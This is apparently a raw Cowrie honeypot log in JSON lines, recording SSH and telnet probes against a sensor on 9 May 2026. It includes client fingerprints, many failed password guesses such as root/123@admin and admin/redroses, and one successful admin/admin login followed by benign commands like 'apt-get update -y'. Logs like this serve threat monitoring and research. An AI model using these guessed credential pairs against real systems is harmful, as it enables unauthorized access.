{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":56530,"dst_ip":"159.203.135.109","dst_port":23,"session":"8cac1122f70a","protocol":"telnet","message":"New connection: 147.182.143.59:56530 (159.203.135.109:23) [session: 8cac1122f70a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:10:45.843681Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":38258,"dst_ip":"10.17.0.5","dst_port":23,"session":"70dab82338ff","protocol":"telnet","message":"New connection: 45.58.127.90:38258 (10.17.0.5:23) [session: 70dab82338ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:10:45.853032Z"}
{"eventid":"cowrie.session.closed","duration":13.553626298904419,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:10:53.317788Z","src_ip":"147.182.143.59","session":"1d8eecf95c3e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":9.623434782028198,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:10:55.466965Z","src_ip":"147.182.143.59","session":"8cac1122f70a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.3161518573761,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:10:57.712065Z","src_ip":"45.58.127.90","session":"c00092112cd1","protocol":"telnet"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/2050cc0f18e650f8f04a2d1fcaa079c32d7cfa22eb94fe54b2859caec34c8a7d","size":829,"shasum":"2050cc0f18e650f8f04a2d1fcaa079c32d7cfa22eb94fe54b2859caec34c8a7d","duplicate":true,"duration":"44.5","message":"Closing TTY Log: var/lib/cowrie/tty/2050cc0f18e650f8f04a2d1fcaa079c32d7cfa22eb94fe54b2859caec34c8a7d after 44.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:10:58.256912Z","src_ip":"185.71.233.73","session":"28e41dd16c28","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"46.3","message":"Connection lost after 46.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:10:58.465243Z","src_ip":"185.71.233.73","session":"28e41dd16c28","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.49108552932739,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:10:59.282256Z","src_ip":"45.58.127.90","session":"632827db07e0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"79.104.0.82","src_port":43258,"dst_ip":"10.17.0.5","dst_port":22,"session":"48b0881c5f97","protocol":"ssh","message":"New connection: 79.104.0.82:43258 (10.17.0.5:22) [session: 48b0881c5f97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:11:14.802357Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:11:14.807528Z","src_ip":"79.104.0.82","session":"48b0881c5f97","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:11:14.946277Z","src_ip":"79.104.0.82","session":"48b0881c5f97","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123@admin","message":"login attempt [root/123@admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:11:15.529286Z","src_ip":"79.104.0.82","session":"48b0881c5f97","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:11:16.670574Z","src_ip":"79.104.0.82","session":"48b0881c5f97","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":42742,"dst_ip":"10.17.0.5","dst_port":23,"session":"854ece841b50","protocol":"telnet","message":"New connection: 45.58.127.90:42742 (10.17.0.5:23) [session: 854ece841b50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:11:18.933377Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":42752,"dst_ip":"10.17.0.5","dst_port":23,"session":"0be579a59d86","protocol":"telnet","message":"New connection: 45.58.127.90:42752 (10.17.0.5:23) [session: 0be579a59d86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:11:20.341443Z"}
{"eventid":"cowrie.session.closed","duration":40.808330059051514,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:11:26.661255Z","src_ip":"45.58.127.90","session":"70dab82338ff","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.01238560676575,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:11:39.895379Z","src_ip":"179.119.25.114","session":"ad1ae697593c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.0033667087555,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:11:41.717693Z","src_ip":"179.119.25.114","session":"832e1f6a60c3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.71.233.73","src_port":8823,"dst_ip":"159.203.135.109","dst_port":22,"session":"dcf43e9ec33b","protocol":"ssh","message":"New connection: 185.71.233.73:8823 (159.203.135.109:22) [session: dcf43e9ec33b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:11:43.228115Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Renci.SshNet.SshClient.0.0.1","message":"Remote SSH version: SSH-2.0-Renci.SshNet.SshClient.0.0.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:11:43.233278Z","src_ip":"185.71.233.73","session":"dcf43e9ec33b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"748f8c627d3f8ff9921d02f86f55ba2c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,aes192-cbc,aes256-cbc,3des-cbc,blowfish-cbc,twofish-cbc,twofish192-cbc,twofish128-cbc,twofish256-cbc,arcfour,arcfour128,arcfour256,cast128-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha2-512-96,hmac-sha2-256-96,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-md5-96-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","aes192-cbc","aes256-cbc","3des-cbc","blowfish-cbc","twofish-cbc","twofish192-cbc","twofish128-cbc","twofish256-cbc","arcfour","arcfour128","arcfour256","cast128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha2-512-96","hmac-sha2-256-96","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-md5-96-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 748f8c627d3f8ff9921d02f86f55ba2c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:11:43.439710Z","src_ip":"185.71.233.73","session":"dcf43e9ec33b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:11:44.046945Z","src_ip":"185.71.233.73","session":"dcf43e9ec33b","protocol":"ssh"}
{"eventid":"cowrie.client.size","width":80,"height":60,"message":"Terminal Size: 80 60","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:11:44.503495Z","src_ip":"185.71.233.73","session":"dcf43e9ec33b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:11:44.706244Z","src_ip":"185.71.233.73","session":"dcf43e9ec33b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"?","message":"CMD: ?","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:11:45.910178Z","src_ip":"185.71.233.73","session":"dcf43e9ec33b","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"? ","message":"Command not found: ? ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:11:45.914040Z","src_ip":"185.71.233.73","session":"dcf43e9ec33b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"","message":"CMD: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:11:45.917672Z","src_ip":"185.71.233.73","session":"dcf43e9ec33b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"","message":"CMD: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:11:45.921115Z","src_ip":"185.71.233.73","session":"dcf43e9ec33b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.63.236.79","src_port":49154,"dst_ip":"159.203.135.109","dst_port":23,"session":"1397b62f97e2","protocol":"telnet","message":"New connection: 213.63.236.79:49154 (159.203.135.109:23) [session: 1397b62f97e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:11:46.514347Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":8124,"dst_ip":"10.17.0.5","dst_port":22,"session":"2a87967388f8","protocol":"ssh","message":"New connection: 2.57.121.112:8124 (10.17.0.5:22) [session: 2a87967388f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:11:46.914686Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:11:46.920119Z","src_ip":"2.57.121.112","session":"2a87967388f8","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"apt-get update -y","message":"CMD: apt-get update -y","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:11:46.930582Z","src_ip":"185.71.233.73","session":"dcf43e9ec33b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:11:47.022371Z","src_ip":"2.57.121.112","session":"2a87967388f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"replica","message":"login attempt [admin/replica] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:11:47.501784Z","src_ip":"2.57.121.112","session":"2a87967388f8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":38388,"dst_ip":"159.203.135.109","dst_port":23,"session":"8d5f506c7261","protocol":"telnet","message":"New connection: 147.182.143.59:38388 (159.203.135.109:23) [session: 8d5f506c7261]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:11:48.593769Z"}
{"eventid":"cowrie.login.failed","username":"admin","password":"replace","message":"login attempt [admin/replace] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:11:48.606026Z","src_ip":"2.57.121.112","session":"2a87967388f8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":60284,"dst_ip":"10.17.0.5","dst_port":23,"session":"108115cb4d4e","protocol":"telnet","message":"New connection: 45.58.127.90:60284 (10.17.0.5:23) [session: 108115cb4d4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:11:49.462464Z"}
{"eventid":"cowrie.login.failed","username":"admin","password":"renton","message":"login attempt [admin/renton] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:11:49.709728Z","src_ip":"2.57.121.112","session":"2a87967388f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"redstone","message":"login attempt [admin/redstone] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:11:50.814804Z","src_ip":"2.57.121.112","session":"2a87967388f8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.158","src_port":56026,"dst_ip":"10.17.0.5","dst_port":22,"session":"a5a1f5c4c574","protocol":"ssh","message":"New connection: 45.153.34.158:56026 (10.17.0.5:22) [session: a5a1f5c4c574]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:11:51.851853Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:11:51.857414Z","src_ip":"45.153.34.158","session":"a5a1f5c4c574","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"redroses","message":"login attempt [admin/redroses] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:11:51.920240Z","src_ip":"2.57.121.112","session":"2a87967388f8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.158","src_port":56036,"dst_ip":"10.17.0.5","dst_port":22,"session":"50e8cd5b399e","protocol":"ssh","message":"New connection: 45.153.34.158:56036 (10.17.0.5:22) [session: 50e8cd5b399e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:11:51.973584Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.2","message":"Remote SSH version: SSH-2.0-libssh_0.11.2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:11:51.978678Z","src_ip":"45.153.34.158","session":"50e8cd5b399e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4ed0d5b0dc3be39c7f96ba3a3cc77895","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-cbc,aes128-cbc,aes192-cbc,aes256-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","3des-cbc","aes128-cbc","aes192-cbc","aes256-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:11:52.061669Z","src_ip":"45.153.34.158","session":"50e8cd5b399e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sonar","password":"123456","message":"login attempt [sonar/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:11:52.230560Z","src_ip":"45.153.34.158","session":"50e8cd5b399e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:11:53.029650Z","src_ip":"2.57.121.112","session":"2a87967388f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:11:53.316602Z","src_ip":"45.153.34.158","session":"50e8cd5b399e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.83285140991211,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:11:58.174165Z","src_ip":"45.58.127.90","session":"0be579a59d86","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":10.705066442489624,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:11:59.298722Z","src_ip":"147.182.143.59","session":"8d5f506c7261","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.37598776817322,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:12:01.309231Z","src_ip":"45.58.127.90","session":"854ece841b50","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"sudo apt-get update -y","message":"CMD: sudo apt-get update -y","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:12:02.959256Z","src_ip":"185.71.233.73","session":"dcf43e9ec33b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"admin","message":"CMD: admin","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:12:03.987493Z","src_ip":"185.71.233.73","session":"dcf43e9ec33b","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"admin ","message":"Command not found: admin ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:12:03.992087Z","src_ip":"185.71.233.73","session":"dcf43e9ec33b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.104.0.82","src_port":59238,"dst_ip":"10.17.0.5","dst_port":22,"session":"f8e0692a5a5c","protocol":"ssh","message":"New connection: 79.104.0.82:59238 (10.17.0.5:22) [session: f8e0692a5a5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:12:06.752027Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:12:06.756550Z","src_ip":"79.104.0.82","session":"f8e0692a5a5c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:12:06.910319Z","src_ip":"79.104.0.82","session":"f8e0692a5a5c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1234567890","message":"login attempt [ubuntu/1234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:12:07.553575Z","src_ip":"79.104.0.82","session":"f8e0692a5a5c","protocol":"ssh"}
